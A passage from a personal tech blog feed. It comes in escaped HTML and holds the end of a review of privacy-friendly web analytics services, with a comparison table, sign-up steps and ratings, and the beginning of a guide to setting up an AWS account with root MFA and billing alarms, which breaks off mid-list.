&lt;a href="#only-paid-alternatives" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In this category, the services listed are all the ones that do not provide a free plan. They can either be paid services or provide self-hosting solutions. The services listed here are not all open source.&lt;/p&gt;
&lt;h3 id="characteristics-2"&gt;
Characteristics
&lt;a href="#characteristics-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The characteristics that I am looking for in the analytics services in this category are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Great analytics and statistics (you pay for it).&lt;/li&gt;
&lt;li&gt;Trusted company (team or person behind it).&lt;/li&gt;
&lt;li&gt;Good reason for being a paid-only solution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="alternatives-2"&gt;
Alternatives
&lt;a href="#alternatives-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://plausible.io/"&gt;Plausible&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://usefathom.com/"&gt;Fathom&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pirsch.io/"&gt;Pirsch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.simpleanalytics.com/"&gt;Simple Analytics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://66analytics.com/"&gt;66Analytics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="free-cloud-hosted-alternatives-guide"&gt;
Free Cloud-Hosted Alternatives Guide
&lt;a href="#free-cloud-hosted-alternatives-guide" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="comparison-of-services"&gt;
Comparison of Services
&lt;a href="#comparison-of-services" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The rest of this guide will compare only the Free Cloud-Hosted options, as these are the ones that I am mostly interested in. I do not need to pay for a service or manage a self-hosted solution, based on the traffic that my website gets. In the future, I might consider a paid solution but the free services here have paid options with extra benefits, and I believe are sufficient for the most hobbyist or small websites.&lt;/p&gt;
&lt;p&gt;Below is a comparison table of these services featuring their basic features in their free plans:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Open Source&lt;/th&gt;
&lt;th&gt;Page Views - Events&lt;/th&gt;
&lt;th&gt;Domains&lt;/th&gt;
&lt;th&gt;Retention&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://counter.dev/"&gt;Counter.dev&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Unlimited&lt;/td&gt;
&lt;td&gt;Unlimited&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.goatcounter.com/"&gt;GoatCounter&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;100k / month&lt;/td&gt;
&lt;td&gt;Unlimited&lt;/td&gt;
&lt;td&gt;2.4m page views&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://posthog.com"&gt;PostHog&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;1m / month&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;7 years&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://telemetrydeck.com"&gt;TelemetryDECK&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;100k / month&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://splitbee.io"&gt;Splitbee&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;2.5k / month&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;6 months&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://beampipe.io"&gt;beampipe&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;10k / month&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://swetrix.com"&gt;Swetrix&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;5k / month&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://piwik.pro"&gt;Piwik&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;500k / month&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;14 months&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://chiffre.io/"&gt;Chiffre&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;200 / month&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://microanalytics.io/"&gt;Microanalytics&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;5k / month&lt;/td&gt;
&lt;td&gt;Unlimited&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://getinsights.io/"&gt;Insights&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;3k / month&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;&lt;a href="https://getinsights.io/what-data-we-collect"&gt;N/A&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.visitor-analytics.io/en/"&gt;Visitor Analytics&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;400 / month&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: The N/A (not applicable) attribute means that no information regarding that feature was found, or it is implied that it is free/unlimited.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="review-of-services"&gt;
Review of Services
&lt;a href="#review-of-services" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;In this section, I am going to document my experience with some of the services listed above that I tried to use for my website, which is built with &lt;a href="https://gohugo.io/"&gt;Hugo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Because of this and the &lt;a href="https://github.com/panr/hugo-theme-hello-friend"&gt;theme&lt;/a&gt; that I am using, I have some constraints to what tracking scripts I can easily add to my website. For example I can not easily add tracking scripts in the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; section of each page, as I will have to manually do it for each one, or maybe create a shortcode that will do that, but I will try to avoid it if I am not that interested in that service.&lt;/p&gt;
&lt;h4 id="counterdev"&gt;
Counter.dev
&lt;a href="#counterdev" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;img src="https://thanoskoutr.com/posts/analytics-alternatives/counterdev.png" alt="Counter.dev Demo" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;h5 id="sign-up"&gt;
Sign Up
&lt;a href="#sign-up" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;The process is the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to the webpage and &lt;a href="https://counter.dev/welcome.html?sign-up"&gt;sign up&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Place the displayed &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag code snippet provided, to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; element of your website.&lt;/li&gt;
&lt;li&gt;After deploying the change, visit the &lt;a href="https://counter.dev/dashboard.html"&gt;dashboard&lt;/a&gt; to view the analytics.&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="review"&gt;
Review
&lt;a href="#review" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;Counter.dev is a free service that works with the &amp;ldquo;Pay what you want&amp;rdquo; model. It has an extremely easy and clean interface, but that is also its main drawback. It lacks a lot of features and displays just the basic information. For example, it has a dropdown menu for the time, allowing only the current day, week, month, or year for selection. For some these could be enough, but I believe it could offer more customization options and information, compared to other solutions.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rating: ❤️❤️❤️🖤🖤&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id="goatcounter"&gt;
GoatCounter
&lt;a href="#goatcounter" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;img src="https://thanoskoutr.com/posts/analytics-alternatives/goatcounter.png" alt="GoatCounter Main Dashboard" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;h5 id="sign-up-1"&gt;
Sign Up
&lt;a href="#sign-up-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;The process is the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to the webpage and &lt;a href="https://www.goatcounter.com/signup"&gt;sign up&lt;/a&gt; using a &lt;strong&gt;Code&lt;/strong&gt; that will be used to access your dashboard at &lt;code&gt;https://[Code].goatcounter.com&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Verify your email.&lt;/li&gt;
&lt;li&gt;Place the displayed &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag code snippet provided, to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; element of your website.&lt;/li&gt;
&lt;li&gt;After deploying the change, visit the dashboard at your subdomain &lt;code&gt;https://[Code].goatcounter.com&lt;/code&gt; to view the analytics.&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="review-1"&gt;
Review
&lt;a href="#review-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;GoatCounter is another free service started as a site project and maintained by &lt;a href="https://github.com/arp242"&gt;one person&lt;/a&gt;, that offers some paid options only for high-traffic websites. It also has a very simple but intuitive interface, providing just the basic statistics, but offers a lot of customization and settings options. It allows data exporting and also has an &lt;a href="https://www.goatcounter.com/help/api"&gt;API service&lt;/a&gt; which you can use to query your analytics programmatically. Lastly, the script responsible for the counting adds a minimal extra weight (~3.2K) to your page.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rating: ❤️❤️❤️❤️🖤&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id="posthog"&gt;
PostHog
&lt;a href="#posthog" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;img src="https://thanoskoutr.com/posts/analytics-alternatives/posthog.gif" alt="PostHog Dashboard" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;h5 id="sign-up-2"&gt;
Sign Up
&lt;a href="#sign-up-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;The process is the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to the webpage and &lt;a href="https://posthog.com/signup"&gt;sign up&lt;/a&gt; selecting the &lt;strong&gt;PostHog Cloud&lt;/strong&gt; option.&lt;/li&gt;
&lt;li&gt;Select where you want to send events from (&lt;strong&gt;Website&lt;/strong&gt; for sites and blogs).&lt;/li&gt;
&lt;li&gt;For simplicity select Option 1, to add the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag code snippet provided, to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; element of your website.&lt;/li&gt;
&lt;li&gt;Visit your site and click around to generate some initial events and click Continue.&lt;/li&gt;
&lt;li&gt;After deploying the change, visit the &lt;a href="https://app.posthog.com/home"&gt;dashboard&lt;/a&gt; to view the analytics.&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="review-2"&gt;
Review
&lt;a href="#review-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;PostHog is closer to a Google Analytics alternative than the previous 2 options. It is more business focused and has features that allow a team to do product analysis. It is very extensible with the provided App Library, where you can enable various integration with other services. I found the user tracking feature, that creates user profiles based on the client&amp;rsquo;s information, a little too much for my taste. It is supposed to be non-identifiable information, but on the other hand, the service is marketed as a product analysis tool, not a privacy alternative, even though it is completely open source.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rating: ❤️❤️❤️🖤🖤&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id="telemetrydeck"&gt;
TelemetryDeck
&lt;a href="#telemetrydeck" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;img src="https://thanoskoutr.com/posts/analytics-alternatives/telemetrydeck.png" alt="TelemetryDeck App" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;h5 id="sign-up-3"&gt;
Sign Up
&lt;a href="#sign-up-3" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;The process is the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to the webpage and &lt;a href="https://dashboard.telemetrydeck.com/registration/organization"&gt;create an account&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;In the plan selection, select the free plan and then &lt;strong&gt;Create a New App&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Select Javascript for tracking websites.&lt;/li&gt;
&lt;li&gt;Add the 2 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag code snippet that you see in the &lt;a href="https://github.com/TelemetryDeck/JavaScriptSDK#-usage-via-script-tag"&gt;usage via script tag section of the documentation&lt;/a&gt; and replace the &lt;code&gt;YOUR_APP_ID&lt;/code&gt; part with the one that TelemetryDeck gives you and the &lt;code&gt;USER_IDENTIFIER&lt;/code&gt; part with &lt;code&gt;anonymous&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;After deploying the change, visit the overview page at &lt;code&gt;https://dashboard.telemetrydeck.com/apps/YOUR_APP_ID&lt;/code&gt;, to view the analytics.&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="review-3"&gt;
Review
&lt;a href="#review-3" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;TelemetryDeck analytics is targeted as a private alternative and the client code is open sourced, but the server code is not. I found the least usable of all for my use case (a static website). The interface by default provides no usable information and you have to set up the signals you want to send. It has an SDK available to be integrated with not only websites but mobile apps or other web products. Maybe it is a good solution for products where you can use the SDK available.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rating: ❤️❤️🖤🖤🖤&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id="splitbee"&gt;
Splitbee
&lt;a href="#splitbee" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;img src="https://thanoskoutr.com/posts/analytics-alternatives/splitbee.webp" alt="Splitbee Dashboard" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;h5 id="sign-up-4"&gt;
Sign Up
&lt;a href="#sign-up-4" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;The process is the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to the webpage and &lt;a href="https://splitbee.io/register"&gt;register&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Verify your email.&lt;/li&gt;
&lt;li&gt;Create your project, select a name and add the website&amp;rsquo;s domain.&lt;/li&gt;
&lt;li&gt;Place the displayed &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag code snippet provided, to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; element of your website.&lt;/li&gt;
&lt;li&gt;After deploying the change, visit the &lt;a href="https://app.splitbee.io"&gt;dashboard&lt;/a&gt; to view the analytics.&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="review-4"&gt;
Review
&lt;a href="#review-4" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;Splitbee is a privacy-friendly and open-source solution. It has a very clean and simple interface where you can find the basic statistics and a useful user dashboard where you can see easily which pages each user has visited with minimal identification information (Country and User agent only). Another great feature is the automation one, where you can set up email, Telegram, or Slack notifications on certain defined events. It is also very lightweight (3.3kB) compared to Google Analytics (46kB). The main drawback is that it has a low free plan (2.5k / month) which is only sufficient for really small pages.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rating: ❤️❤️❤️❤️🖤&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id="beampipe"&gt;
beampipe
&lt;a href="#beampipe" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;img src="https://thanoskoutr.com/posts/analytics-alternatives/beampipe.png" alt="beampipe Dashboard" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;h5 id="sign-up-5"&gt;
Sign Up
&lt;a href="#sign-up-5" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;The process is the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to the webpage and &lt;a href="https://app.beampipe.io/sign-up"&gt;sign up&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Add the Domain of your website to track.&lt;/li&gt;
&lt;li&gt;Place the displayed &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag code snippet provided, to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; element of your website.&lt;/li&gt;
&lt;li&gt;After deploying the change, visit the &lt;a href="https://app.beampipe.io/"&gt;dashboard&lt;/a&gt; to view the analytics.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Rating: ❤️❤️🖤🖤🖤&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h5 id="review-5"&gt;
Review
&lt;a href="#review-5" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;beampipe is a privacy-focused Lightweight tracking script. Its user interface is very minimal and does not provide a lot of helpful analytics by default. It also has a low free plan (10k / month) compared to other solutions and it is not open sourced (their &lt;a href="https://github.com/beampipe"&gt;GitHub link&lt;/a&gt; does not have any repositories public).&lt;/p&gt;
&lt;h4 id="swetrix"&gt;
Swetrix
&lt;a href="#swetrix" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;img src="https://thanoskoutr.com/posts/analytics-alternatives/swetrix.png" alt="Swetrix Dashboard" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;h5 id="review-6"&gt;
Review
&lt;a href="#review-6" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;I did not end up using Swetrix, because a script needs to be added at the end of the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag and I do not have an easy way right now to add it to all my pages. But, it seems a very interesting choice, as it has an elegant simplicity but offers some good features. It even has browser plugins for &lt;a href="https://chrome.google.com/webstore/detail/swetrix/glbeclfdldjldjonfnpnembfkhphmeld"&gt;Chrome&lt;/a&gt; and &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/swetrix/"&gt;Firefox&lt;/a&gt; to quickly view your site analytics. It also has a very simple and clear explanation of its &lt;a href="https://swetrix.com/docs"&gt;tracking logic&lt;/a&gt; to make it more transparent.&lt;/p&gt;
&lt;h4 id="piwik"&gt;
Piwik
&lt;a href="#piwik" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;img src="https://thanoskoutr.com/posts/analytics-alternatives/piwik.png" alt="Piwik Reports" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;h5 id="review-7"&gt;
Review
&lt;a href="#review-7" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;I did not end up using Piwik too, because the script needs to be added at the end of the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag. I also did not find a reason to give the effort to try, as from the demo it seems that it is a more business-focused solution and I do not need that kind of complexity for a simple static website. Lastly, it needs user consent, which is very annoying and I believe it does not line up with the privacy-focused alternative theme we have here.&lt;/p&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://isgoogleanalyticsillegal.com/alternatives/"&gt;Google Analytics alternatives&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://european-alternatives.eu/alternative-to/google-analytics"&gt;European alternatives to Google Analytics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Getting Started with AWS</title><link>https://thanoskoutr.com/posts/aws-setup/</link><pubDate>Thu, 30 Jun 2022 16:02:00 +0200</pubDate><guid>https://thanoskoutr.com/posts/aws-setup/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/aws.png"/&gt;
&lt;p&gt;The Amazon Web Services world is an entire beast on its own, and I believe some knowledge around it should be useful to all tech related roles, from programmers to DevOps and system administrators. I am recently trying to explore AWS, so I will try to document my process along the way.&lt;/p&gt;
&lt;p&gt;In this post I have gathered the steps for signing-up with AWS and the first configurations to make to your account before even starting an instance or a service. It is best to follow the official AWS documentation for each step (as it will be always up to date), but the main actions to do should remain pretty much the same.&lt;/p&gt;
&lt;p&gt;After this process you should be ready to spin some instances using the free tier that come with every new AWS account for a year. The free tier is not applicable to any instance or service, and have limited quotas, but should be enough for anyone trying to learn and explore the platform. See all available &lt;a href="https://aws.amazon.com/freel"&gt;Free Tier Products&lt;/a&gt; to see what you can deploy.&lt;/p&gt;
&lt;h2 id="create-an-aws-account"&gt;
Create an AWS account
&lt;a href="#create-an-aws-account" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The first thing to get started with AWS, is to create a free AWS account. Navigate to the &lt;a href="https://aws.amazon.com"&gt;main AWS page&lt;/a&gt; and click on the &lt;strong&gt;Create an AWS account&lt;/strong&gt; button:&lt;/p&gt;
&lt;img src="https://thanoskoutr.com/posts/aws-setup/aws-signup.png" alt="aws sign-up" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;p&gt;This process will set up your &lt;strong&gt;Root&lt;/strong&gt; account:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add an email and an account name for your Root account.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Verify email address&lt;/strong&gt; to get a verification code in the email to add.&lt;/li&gt;
&lt;li&gt;On the next screen, create a password for your Root account.&lt;/li&gt;
&lt;li&gt;Add your personal and contact information.&lt;/li&gt;
&lt;li&gt;Add your desired billing information.&lt;/li&gt;
&lt;li&gt;Add and verify a mobile phone to confirm your identity.&lt;/li&gt;
&lt;li&gt;Select the &lt;strong&gt;Basic support - Free&lt;/strong&gt; support plan.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You will now be navigated to your &lt;a href="https://console.aws.amazon.com/console/home"&gt;AWS Management Console&lt;/a&gt;:&lt;/p&gt;
&lt;img src="https://thanoskoutr.com/posts/aws-setup/aws-management-console.png" alt="aws management console" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;h2 id="add-mfa-for-root-user"&gt;
Add MFA for Root user
&lt;a href="#add-mfa-for-root-user" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In order to secure our Root user account, we can enable multi-factor authentication (MFA). By enabling MFA, when we login to our account we will have to type our username and password and also type a one time password from our configured Virtual or Hardware MFA device. So this makes it really hard for someone to compromise our account, as both password knowledge and physical access to our MFA device will be needed.&lt;/p&gt;
&lt;p&gt;To make security changes to our account we need to use the &lt;a href="https://console.aws.amazon.com/iam/home"&gt;Identity and Access Management (IAM) service&lt;/a&gt;:&lt;/p&gt;
&lt;img src="https://thanoskoutr.com/posts/aws-setup/aws-iam-dashboard.png" alt="aws iam dashboard" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;ul&gt;
&lt;li&gt;From the &lt;strong&gt;Services&lt;/strong&gt; button in the navbar, navigate to: &lt;strong&gt;Security, Identity &amp;amp; Compliance&lt;/strong&gt; → &lt;strong&gt;IAM Dashboard&lt;/strong&gt; to access the IAM service.&lt;/li&gt;
&lt;li&gt;Click the &lt;strong&gt;Add MFA&lt;/strong&gt; button.&lt;/li&gt;
&lt;li&gt;Click the &lt;strong&gt;Activate MFA&lt;/strong&gt; button:&lt;/li&gt;
&lt;/ul&gt;
&lt;img src="https://thanoskoutr.com/posts/aws-setup/aws-iam-activate-mfa.png" alt="aws ima activate mfa" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;ul&gt;
&lt;li&gt;Select your preferred MFA device (most common choice is a &lt;strong&gt;Virtual MFA device&lt;/strong&gt;, which is an Authenticator app on your phone, but you can also use a hardware device if available).&lt;/li&gt;
&lt;li&gt;To add our &lt;strong&gt;Virtual MFA device&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Scan the QR code with your authenticator app (&lt;em&gt;Google Authenticator&lt;/em&gt;, &lt;em&gt;Microsoft Authenticator&lt;/em&gt;, &lt;em&gt;Twilio Authy&lt;/em&gt; or any other).&lt;/li&gt;
&lt;li&gt;Add 2 consecutive codes to complete process.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After completing this process, every time you login to AWS a one time password will be asked to type from your authenticator app.&lt;/p&gt;
&lt;h2 id="add-billing-alarms"&gt;
Add Billing Alarms
&lt;a href="#add-billing-alarms" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;It is also important to set some Billing alarms, in order to get notified if we exceed a certain amount per month. Even though we will have a lot of free services for the 1st year, we might use non-free services, or forget to set the alarms after the 1st year has passed. So it is important to set them at an early stage.&lt;/p&gt;
&lt;p&gt;To create any type of alarm we need to use the &lt;a href="https://console.aws.amazon.com/cloudwatch/home"&gt;CloudWatch service&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From the &lt;strong&gt;Services&lt;/strong&gt; button in the navbar, navigate to: &lt;strong&gt;Management &amp;amp; Governance&lt;/strong&gt; → &lt;strong&gt;CloudWatch&lt;/strong&gt; to access the Billing Alarm service.&lt;/li&gt;
&lt;li&gt;From the side menu select the &lt;strong&gt;Alarms → Billing&lt;/strong&gt; section:&lt;/li&gt;
&lt;/ul&gt;
&lt;img src="https://thanoskoutr.com/posts/aws-setup/aws-cloudwatch-billing.png" alt="aws cloudwatch billing" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;ul&gt;
&lt;li&gt;Click the &lt;strong&gt;Create Alarm&lt;/strong&gt; button.&lt;/li&gt;
&lt;li&gt;On the &lt;em&gt;Metric&lt;/em&gt; window, leave the settings to their default.&lt;/li&gt;
&lt;li&gt;On the &lt;em&gt;Conditions&lt;/em&gt; window, select a &lt;strong&gt;Static&lt;/strong&gt; threshold type, and an alarm notification when &lt;code&gt;EstimatedChanges&lt;/code&gt; is &lt;strong&gt;Greater&lt;/strong&gt; tha &lt;strong&gt;10 USD&lt;/strong&gt; (or set your desired amount):&lt;/li&gt;
&lt;/ul&gt;
&lt;img src="https://thanoskoutr.com/posts/aws-setup/aws-cloudwatch-conditions.png" alt="aws cloudwatch conditions" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;ul&gt;
&lt;li&gt;On the &lt;em&gt;Notification&lt;/em&gt; window, select the &lt;strong&gt;In alarm&lt;/strong&gt; state trigger, and &lt;strong&gt;Create a new topic&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Add a topic name.&lt;/li&gt;
